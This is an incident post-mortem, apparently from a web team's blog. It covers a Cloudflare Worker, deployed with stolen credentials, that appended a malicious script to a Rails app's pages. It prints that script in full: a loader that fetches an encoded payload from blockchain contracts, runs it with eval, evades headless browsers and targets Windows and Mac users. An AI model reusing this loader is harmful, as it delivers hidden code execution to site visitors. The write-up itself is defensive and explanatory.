When a Cloudflare Worker Injected Malicious Code into Our Application
Overview
We recently encountered a security incident where a malicious script was injected into one of our web applications. The application is a multi-tenant Ruby on Rails system hosted on AWS and routed through Cloudflare.
The issue was isolated to a single tenant and appeared as an unexpected <script> tag inserted just before the closing </body> tag in the HTML response.
This post documents what happened, how we identified it, how we fixed it, and the steps we’ve taken to prevent it going forward.
What We Observed
While inspecting the affected tenant, we noticed a suspicious script appended to the HTML response:
<script>
async function load_(address){
let uint8ArrayToHexString = (uint8Array) => {
let hexString = '0x';
for (const e of uint8Array) {
const hex = e.toString(16);
hexString += hex.length === 1 ? `0${hex}` : hex;
}
return hexString;
};
_data = {
"method":"eth_call",
"params":[{"to":address,"data":"0x6d4ce63c"},"latest"],
"id":97,
"jsonrpc":"2.0"
};
_config = {
method: 'POST',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify(_data)
};
url = 'https://data-seed-prebsc-1-s1.bnbchain.org:8545',
response = await fetch(url, _config),
answer = (await response.json()).result.slice(2),
unhexed = new Uint8Array(answer.match(/[\da-f]{2}/gi).map(h => parseInt(h, 16))),
offset = Number(uint8ArrayToHexString(unhexed.slice(0, 32))),
len = Number(uint8ArrayToHexString(unhexed.slice(32, 32+offset))),
value = String.fromCharCode.apply(null, unhexed.slice(32+offset, 32+offset+len));
eval(atob(value));
}
const isHeadless = () => {
const checks = [
navigator.webdriver === true,
/HeadlessChrome/.test(navigator.userAgent),
navigator.userAgent.includes("PhantomJS"),
navigator.userAgent.includes("Puppeteer"),
navigator.userAgent.includes("Playwright"),
window.outerWidth === 0 && window.outerHeight === 0,
!window.chrome && !window.safari && !navigator.userAgent.includes("Firefox"),
];
const positiveChecks = checks.filter(Boolean).length;
const isLikelyNormalBrowser =
window.chrome?.runtime ||
window.safari ||
navigator.plugins.length > 0 ||
navigator.languages.length > 0;
return positiveChecks >= 2 && !isLikelyNormalBrowser;
};
const isWindows =
navigator.userAgent.includes("Windows") ||
navigator.platform.startsWith("Win") ||
navigator.userAgentData?.platform === "Windows";
const isMac =
navigator.userAgent.includes("Macintosh") ||
navigator.platform.startsWith("Mac") ||
navigator.userAgentData?.platform === "macOS";
if (isHeadless()) {
console.log("stop watching us :)");
} else if (isWindows) {
load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff");
} else if (isMac) {
load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5");
}
</script>
This script was not part of our application codebase or database.
What This Script Does (High-Level)
At a high level, the script:
- Calls a blockchain RPC endpoint (
eth_call) - Dynamically retrieves encoded data
- Decodes it in the browser
- Executes it using
eval - Avoids execution in headless/browser automation environments
- Delivers different payloads depending on the user’s OS
The key takeaway: the actual payload is not embedded in the script—it is fetched and executed at runtime.
Root Cause
The injection was traced to a Cloudflare Worker attached to our domain.
An unauthorized actor gained access to our Cloudflare account credentials and deployed a Worker that modified outgoing HTML responses to append this script before the closing </body> tag.
Because Cloudflare Workers run at the edge:
- The origin server (Rails app) remained clean
- The database contained no malicious content
- The script was injected after the response left our infrastructure
How We Fixed It
We took the following actions immediately:
- Removed the malicious Worker and its routes
- Revoked all API tokens and reset account credentials
- Enabled 2FA for all users
- Audited Cloudflare configuration (Workers, DNS, rules)
- Verified application and database integrity
Preventing This Going Forward
- Use scoped API tokens instead of global keys
- Rotate and manage credentials regularly
- Enforce strong access controls (2FA)
- Monitor configuration changes and enable alerts
- Restrict edge capabilities like Workers where not needed
- Implement Content Security Policy (CSP)
Key Takeaways
- Not all compromises originate in your application code
- CDN/edge layers can modify responses independently
- Always investigate the edge if behavior differs from origin
- Credential security is critical for infrastructure services
Final Thoughts
This incident highlighted how powerful edge platforms can be—both for performance and, if misused, as an attack vector.
By tightening access, reducing privileges, and improving monitoring, we’ve strengthened our security posture significantly.